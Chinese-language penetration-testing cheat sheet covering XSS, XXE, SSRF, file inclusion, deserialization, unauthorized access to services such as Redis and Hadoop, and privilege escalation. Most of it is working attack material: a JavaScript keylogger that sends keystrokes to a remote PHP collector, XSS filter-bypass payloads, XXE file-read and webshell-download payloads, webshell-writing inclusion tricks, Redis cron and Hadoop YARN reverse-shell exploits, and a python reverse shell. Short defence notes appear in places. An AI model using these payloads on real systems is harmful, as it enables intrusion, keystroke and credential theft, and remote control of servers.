<script src="http://192.168.10.89:3000/hook.js"></script>
<img src onerror=appendChild(createElement("script")).src="http://192.168.10.89:3000/hook.js">
- 键盘记录 Keylogger.js
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://192.168.55.26/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form- urlencoded");
http.send("key="+param);
}
}
Keylogger.php代码用来接受键盘打的字保存到keylog.txt里
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>
直接引用即可 <script+src="http://1.1.1.1/keylogger.js"></script>
- 浏览器截图
setTimeout(function() { var d = document; var a = d.createElement('script'); a.setAttribute('src','/scripts/screenshot.js'); d.head.appendChild(a);}, 1000)
- 当然xss利用不止于此,如何更好的利用还要看各位的js、ajax、node.js水平。
绕过
过滤空格
%0A,%09,%0C,%0D,%20
过滤()
<script>alert`1`</script>
<video src onerror=a="%2",location="javascript:aler"+"t"+a+"81"+a+"9">
<video src onerror="javascript:window.onerror=alert;throw 1">
绕waf测试
<svg onload>
拦截<svg > onload>
不拦截- 所以绕过就是先把
>
HTML实体编码,接着URL编码,即%26%2362
- 大部分xss_payload带上
%26%2362
都可以绕过 - 如
<svg %26%2362 onload=alert
xss>
payload
<body onpageshow=alert(1)>
<sc<script>ript>alert(1)</sc</script>ript>
<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))
console.log(String.fromCharCode(65,66,67,68)) //在终端返回显示的是字符串 "ABCD"
new Function('alert(1)')()
eval(String.fromCharCode(97,108,101,114,116,40,49,41)) //// 最终执行的会是 alert(1)
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee><marquee loop="1" onfinish=alert(1)>hack the planet</marquee><marquee onstart=alert(1)>hack the planet</marquee>
<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" /><audio ondurationchange=alert(1) src="/media/hack-the-planet.mp3" /><audio autoplay=true onended=alert(1) src="/media/hack-the-planet.mp3" /><audio onloadeddata=alert(1) src="/media/hack-the-planet.mp3" /><audio onloadedmetadata=alert(1) src="/media/hack-the-planet.mp3" /><audio onloadstart=alert(1) src="/media/hack-the-planet.mp3" /><audio onprogress=alert(1) src="/media/hack-the-planet.mp3" /><audio onsuspend=alert(1) src="/media/hack-the-planet.mp3" /><video oncanplay=alert(1) src="/media/hack-the-planet.mp4" /><video ondurationchange=alert(1) src="/media/hack-the-planet.mp4" /><video autoplay=true onended=alert(1) src="/media/hack-the-planet.mp4" /><video onloadeddata=alert(1) src="/media/hack-the-planet.mp4" /><video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" /><video onloadstart=alert(1) src="/media/hack-the-planet.mp4" /><video onprogress=alert(1) src="/media/hack-the-planet.mp4" /><video onsuspend=alert(1) src="/media/hack-the-planet.mp4" />
<style onload=alert(1) />
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<input onfocus=alert(1) autofocus>
<h1 onmousemove="alert(1)">title</h1>
<select onfocus=alert(1) autofocus>
<iframe src="vbscript:msgbox(1)"></iframe>
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe>
<iframe onload=alert(1)></iframe>
<iframe src="data:text/html,<script>alert(0)</script>"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
</iframe><iframe src="vbscript:msgbox(1)"></iframe>
</iframe><iframe src="data:text/html,<script>alert(0)</script>"></iframe>
<details open ontoggle=prompt(/xss/)>
<plaintext/onmouseover=prompt(1)>
javascript://comment%250aalert(1)
<img src=x onerror=confirm(1)>
<video><source onerror=alert(1)>
<audio src=x onerror="alert(1)">
<body onload=alert(1)>
<body onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea onfocus=alert(1) autofocus>
XSS自动化工具
- [XSStrike][https://github.com/DanMcInerney/xsscrapy]
- [xsscrapy][https://github.com/DanMcInerney/xsscrapy]
- [XSSsniper][https://github.com/gbrindisi/xsssniper]
- [beef][https://github.com/beefproject/beef]
- [xss_platform][https://github.com/78778443/xssplatform]
同源策略
[同源策略][https://www.anquanke.com/post/id/86078]
XXE
介绍
XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XXE引用外部实体注入
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<x>&test;</x>
PHP-base64加密,获取当前目录下文件信息.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<name>&test;</name>
报错注入
<?xml version = "1.0"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://10.10.14.55:8081/xxe.dtd">
%remote;
%error;
]>
xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
XXE写入webshell(支持XSL)
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoftcom:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implementsprefix="
user">
<![CDATA[
public string xml()
{
System.Net.WebClient webClient = new
System.Net.WebClient();
webClient.DownloadFile("https://x.x.x.x/shell.txt",
@"c:\inetpub\wwwroot\shell.aspx");
return "Exploit Success";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>
当!DOCTYPE定义被禁用后可以利用XInclude进行攻击
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
在JAVA中,netdoc:/能代替file:///
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "netdoc://etc/passwd">
]>
<x>&test;</x>
XXE攻击
- XXE炸弹
<!ENTITY bomb "file:///dev/random">]><msg>&bomb;</msg>
- [Excel进行XXE攻击][https://mp.weixin.qq.com/s?__biz=MzAwMzc2MDQ3NQ==&mid=2247483913&idx=1&sn=493817079f0c056405ea8ecf013104ed&chksm=9b370a3dac40832bbd28a21bd92061b2bf16b3952184eea2115a51542496ed719777edd28eaa&scene=21#wechat_redirect]
- [BLIND XXE - HUNTING IN THE DARK][https://blog.zsec.uk/blind-xxe-learning/]
- [XXE-DDOS][https://mp.weixin.qq.com/s/hIsqVU6MJ6OEbQVnvF6-xQ]
XXE防御
- 禁用外部实体
- 过滤和验证用户提交的XML数据
- 不允许XML中含有任何自己声明的DTD
- 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可
ssrf
介绍
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务器端发起的安全漏洞。一般情况下,SSRF攻击的目标是外网无法直接访问的内部系统(正因为请求时服务端发起的,所以服务端请求到与自身相连而与外网隔离的内部系统)。
[ssrf攻击利用和防御][https://www.4o4notfound.org/index.php/archives/33/]
[ssrf漏洞挖掘][https://www.secpulse.com/archives/4747.html]
[ssrf获得内网服务器root权限][https://mp.weixin.qq.com/s/HjvviHp1EdAmWEUE4fbajQ]
ssrf-payload
http://dfafsadf@127.0.0.1:22
http://127.0.0.1?baidu.com
http://localhost.sdfzy.top:3306
十六进制
http://0x7F000001 http://127.0.0.1
漏洞修复
限制请求的端口只能为WEB端口,只允许访问HTTP和HTTPS的请求。
限制不能访问内网的IP,以防止对内网进行攻击。
屏蔽返回的详细信息。
csrf
介绍
CSRF(Cross-site request forgrey,跨站请求伪造)也被称为One Click Attack或者Seesion Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来想跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内容的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。与XSS攻击相比,CSRF攻击往往不太流行(因此对其防范的资源也相当稀少)也难防范,所以被认为比XSS更加具有危险性。
漏洞修复
- 设置验证码
- 验证HTTP Referer字段
- 为每个表单添加令牌token并验证,配合xss过
- [为每个表单添加令牌token并验证,验证后需要删除相应的随机数][https://www.cnblogs.com/phpstudy2015-6/p/6771239.html]
逻辑漏洞
介绍
逻辑漏洞就是指攻击者利用业务的设计缺陷,获取敏感信息或破坏业务的完整性,一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处。
常见的逻辑漏洞:
○ 水平越权:相同级别(权限)的用户或者同一角色中不同的用户之间,可以越权访问,修改或者删除其他用户信息的非法操作。如果出现此漏洞,可能会造成大批量数据的泄露,严重的甚至会造成用户信息被恶意篡改。
○ 垂直越权:就是不同级别之间的用户或不同角色之间的用户越权,比如普通用户可以执行管理员才能执行的功能。
○ 未授权访问:后台页面或者其他用户页面没有做session认证,导致可以无需登录,直接访问页面。
○ 支付订单:在支付订单时,可以篡改价格为任意金额;或者可以篡改运费或其他费用为负数,导致总金额降低。
○ 任意重置密码:系统在处理重置密码请求时使用本地验证方法,未在服务端处理,造成用户可在本地修改数据包,绕过系统身份验证,达到重置任意账号的目的。
○ 用户名猜解:通过登录信息可以判断有无此用户,可以对用户名进行猜解。
○ 竞争条件:竞争条件常见于多种攻击场景,购物时,例如用户A的余额为10元,商品B的价格为6元,商品C的价格为5元,如果用户A分别购买商品B和商品C,那余额肯定是不够的,但是如果用户A利用竞争条件,使用多线程同时发送购买商品B和商品C的请求,可能会出现以下几种结果
§ 有一件商品购买失败
§ 商品都购买成功,只扣了6元
§ 商品都购买成功,余额变成了-1元
反序列化
漏洞描述
反序列化漏洞成因,魔术方法的方法或者成员,执行的函数可以被用户控制,导致达成意想之外的效果
java
- 序列化主要应用场景
持久化内存数据
网络传输对象
远程方法调用(RMI)
- 两个函数
序列化
java.io.ObjectOutputStream.writeObject()
反序列化
java.io.ObjectInputStream.readObject()
[Apache Commons Collections反序列化][http://pirogue.org/2017/12/22/javaSerialKiller/]
[Fastjson反序列化][https://mp.weixin.qq.com/s/0a5krhX-V_yCkz-zDN5kGg]
fastjson: Dnslog探测: {"rand1":{"@type":"java.net.InetAddress","val":"http://dnslog"}} {"rand2":{"@type":"java.net.Inet4Address","val":"http://dnslog"}} {"rand3":{"@type":"java.net.Inet6Address","val":"http://dnslog"}} {"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}} {"rand5":{"@type":"java.net.URL","val":"http://dnslog"}} 一些畸形payload,不过依然可以触发dnslog: {"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}} {"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}]} {"rand8":Set[{"@type":"java.net.URL","val":"http://dnslog"} {"rand9":{"@type":"java.net.URL","val":"http://dnslog"} Tips: Waf绕过:某些Waf考虑到解析效率的问题,会根据Content-Type的内容进行针对性的拦截分析,可以尝试将Content-Type设置为通配符“/”来绕过相关的检查:
java序列化与反序列化([上][https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e6374d65589d00d91f7148e
][下][https://mp.weixin.qq.com/s?__biz=MzI5ODE0ODA5MQ==&mid=2652278247&idx=1&sn=044893b732e4ffa267b00ffe1d9e4727&chksm=f7486473c03fed6525f0a869cbc4ddc03051cda92bb946377c4d831054954159542350768cf3&mpshare=1&scene=23&srcid=0919MUXFBglgD ])
Log4j2
php
魔术方法
(1)__construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2)__wakeup() :unserialize()时会自动调用
(3)__destruct():当对象被销毁时会自动调用。
(4)__toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)__get() :当从不可访问的属性读取数据
(6)__call(): 在对象上下文中调用不可访问的方法时触发
这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种
(1)echo ($obj) / print($obj) 打印时会触发
(2)反序列化对象与字符串连接时
(3)反序列化对象参与格式化字符串时
(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5)反序列化对象参与格式化SQL语句,绑定参数时
(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有__toString返回的字符串的时候__toString会被调用
(8)反序列化的对象作为 class_exists() 的参数的时候
简单的理解
<?php
class chybeta{
var $test = '123';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
得到下列
O:7:"chybeta":1:{s:4:"test";s:3:"123";}
这里的O代表存储的是对象(object),假如你给serialize()传入的是一个数组,那它会变成字母a。7表示对象的名称有7个字符。"chybeta"表示对象的名称。1表示有一个值。{s:4:"test";s:3:"123";}中,s表示字符串,4表示该字符串的长度,"test"为字符串的名称,之后的类似。
[thinkphp反序列化分析][https://paper.seebug.org/1040/]
python
文件包含
php文件包含中,被包含的文件均以php文件执行
文件包含函数
文件包含绕过
双写绕过
….//….//….//….//….//….//….//….//etc/passwd
…/./…/./…/./…/./…/./…/./…/./…/./etc/passwd
….\/….\/….\/….\/….\/….\/….\/….\/etc/passwd
编码绕过
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
绕过
前缀
利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
容器/服务器的编码方式
../
..%c0%af
注:Why does Directory traversal attack %C0%AF work?
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
Apache Tomcat Directory Traversal
..\
..%c1%9c
后缀
截断
拼接
查看 allow_url_include函数和expect是否开启 /etc/php/版本号/apache2/php.ini
文件包含姿势
?a=../../../../../../../../../etc/passwd
?a=php://filter/read=convert.base64-encode/resource=index.php //读index.php
?a=data://text/plain,<?php system("dir"); (PHP配置文件需要开启 allow_url_include)
?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
?file=php://input
post提交:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"]);?>');?>
?a=file:///etc/passwd
?a=zip://压缩包绝对路径#压缩包内文件名 //PHP > =5.3.0
?a=phar://upload/text.jpg/text.php //test.jpg是由test.zip改后缀而成,PHP > =5.3.0
?a=http://test2.com/shell.txt
shell.txt内容
<?php fputs(fopen('shellxbw.php','w'),'<?php @eval($_POST["test"])?>');?>
日志中毒
- ssh日志 包含ssh日志文件
ssh '<?php @eval($_POST[cmd]); ?>'@192.168.1.135
?a=/var/log/auth.log
- apache&nginx日志
/var/log/apache2/ Apache_Linux日志
C:\xampp\apache\logs\ Apache_Windows日志
/var/log/nginx/ Nginx_Linux日志
C:\nginx\log\ Nginx_Windows日志
/etc/apache2/envvars 读取apache2环境变量
User-Agent: <?php @eval($_POST[cmd]);?>
?a=/var/log/apache2/access.log
- session中毒 php_session
/var/lib/php/sessions/sess_会话 linux会话路径
C:\Windows\Temp\sess_会话 windows会话路径
会话中毒
包含会话&命令执行
- 临时文件中毒
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance
类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup
- 包含environ
利用条件:
1.php以cgi方式运行,这样environ才会保持UA头。
2.environ文件存储位置已知,且environ文件可读。
proc/self/environ中会保存user-agent头
未授权访问
Redis 未授权访问漏洞
a. Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。
b. redis-cli.exe -h 192.168.18.138
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n"
config set dbfilename root
save 反弹shell
c. nmap -p 6379 --script redis-info <target>
d. 防御
-禁止使用root权限启动redis服务。
-对redis访问启动密码认证。
-添加IP访问限制,并更改默认6379端口
MongoDB 未授权访问漏洞
a. 开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。
造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 --auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。
b. nmap -p 27017 --script mongodb-info <target>
c. -为MongoDB添加认证:MongoDB启动时添加--auth参数、为MongoDB添加用户
-MongoDB 自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false
-启动时加入参数--bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1
Jenkins 未授权访问漏洞
a. 默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。
b. -升级版本。
-添加认证,设置强密码复杂度及账号锁定。
-禁止把Jenkins直接暴露在公网。
Memcached 未授权访问漏洞
a. Memcached 是一套常用的 key-value 分布式高速缓存系统,由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached中的敏感信息。
b. nmap -p 11211 --script memcached-info <target>
c. -设置Memchached只允许本地访问。
-禁止外网访问Memcached 11211端口。
-配置访问控制策略。
-最小化权限运行。
-修改默认端口等。
JBOSS 未授权访问漏洞
a. JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患
b. http://192.168.18.129:8080/jmx-console/ 无需认证进入控制页面
c. -对jmx控制页面访问添加访问验证。
-进行JMX Console 安全配置。
VNC 未授权访问漏洞
a. VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。
b. -配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
-以最小普通权限身份运行操作系统。
Docker 未授权访问漏洞
a. Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
b. 简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则。
-修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行
ZooKeeper 未授权访问漏洞
a. zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。
b. -修改 ZooKeeper 默认端口,采用其他端口服务。
-添加访问控制,配置服务来源地址限制策略。
-增加 ZooKeeper 的认证配置。
Rsync 未授权访问漏洞
a. Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。
b. rsync rsync://{target_ip}/
c. 账户认证:正确配置认证用户名及密码。
-权限控制:使用合理的权限。
-网络访问控制:控制接入源ip。
-数据加密传输等
Atlassian Crowd 未授权访问漏洞 (CVE-2019-11580)
a. Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了pdkinstall开发插件,使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。
b. -设置访问/crowd/admin/uploadplugin.action的源ip。
CouchDB 未授权访问漏洞
a. Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。
在官方配置文档中对HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。
b. curl http://192.168.18.129:5984/_config
c. nmap -p 5984 --script "couchdb-stats.nse" {target_ip}
d. -绑定指定ip。
-设置访问密码。
Elasticsearch 未授权访问漏洞
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。
Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
Hadoop 未授权访问漏洞
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
exp
#!/usr/bin/env python
import requests
target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
Jupyter Notebook 未授权访问漏洞
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令
提权
1. Windows的AD提权
a. systeminfo
wmic qfe //补丁查看
Get-ChildItem Env: | ft Key,Value //环境变量
b. echo %USERNAME%
$env:UserName //当前用户
c. netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt" //防火墙是否开放
d. net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name //系统有哪些用户
e.
f. 漏洞
ⅰ. ms14-068-kb3011780
ⅱ. ms17-010-KB4013389
ⅲ. ms16-032-kb3143141
ⅳ. ms15-051-kb3031432
ⅴ. ms14-058-KB3000061
g. 服务漏洞提权
ⅰ. mysql
1. udf提权(select version();#-->5.7.14)
a. root密码获取
ⅰ. 翻配置文件。关键字:config conn data sql inc database等
ⅱ. 读/mysq/user.myd
ⅲ. 爆破
2. mof提权(mysql 版本低于5.7,低于2008server)
ⅱ. sqlserver
1. xp_cmdshell
2. 日志提权
3. sp_oacreate
4. SQL Server CLR
5. Agent Job
6. dbower权限
7. PowerUpSQL工具自动
h. 对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序
ⅰ. wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """
ⅱ. 如果存在一下结果则表示存在:
FABS - Helping agent for MAGIX media database Fabs C:\Program Files (x86)\Common
Files\MAGIX Services\Database\bin\FABS.exe /DisableUI Auto
ⅲ. exploit/windows/local/service_permissions。
ⅳ. reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:\programdata\adduser.exe" /f修改开机自启服务注册表
ⅴ. 任意用户以NT AUTHORITY\SYSTEM权限安装msi
ⅵ. schtasks /query /fo LIST /v //查看计划任务
使用如下命令可以查看指定目录的权限配置情况。如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计划任务下次执行时,就会以高权限运行恶意程序,进而完成提权。
2. linux的提权
a. 信息收集
ⅰ. cat /etc/issue
cat /etc/*-release //查看发行版
ⅱ. uname -a //查看内核版本
ⅲ. dpkg -l
rpm -qa //已安装程序
ⅳ. sudo -l
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
1. Nmap(2.02至5.21)
a. nmap -V
nmap --interactive
!sh
whoami
b. exploit/unix/local/setuid_nmap
2. Vim
a. Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
b. vim.tiny /etc/shadow
c. vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
3. find
a. find a -exec whoami \;
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
4. Bash
a. bash -p
b. id
5. More
6. Less
a. less /etc/passwd
!/bin/sh
7. Nano
8. cp
ⅴ. ls -l /etc/cron* //计划任务
ⅵ. 劫持环境变量提权
ⅶ. 网络漏洞
1. netstat -antup#查看各种网络服务
mkfifo backpipe
nc -l 8082 0<backpipe | nc remote_host 445 1>backpipe
b. ridis提权
ⅰ. 1、开机启动脚本
2、一般情况下,由于使用源码编译安全的,默认以root权限运行,通过未授权进入数据库,可以写任意文件,还可以用exp直接执行命令。
3、mof脚本
4、计划任务
5、ssh公钥
c. 漏洞
ⅰ. 脏牛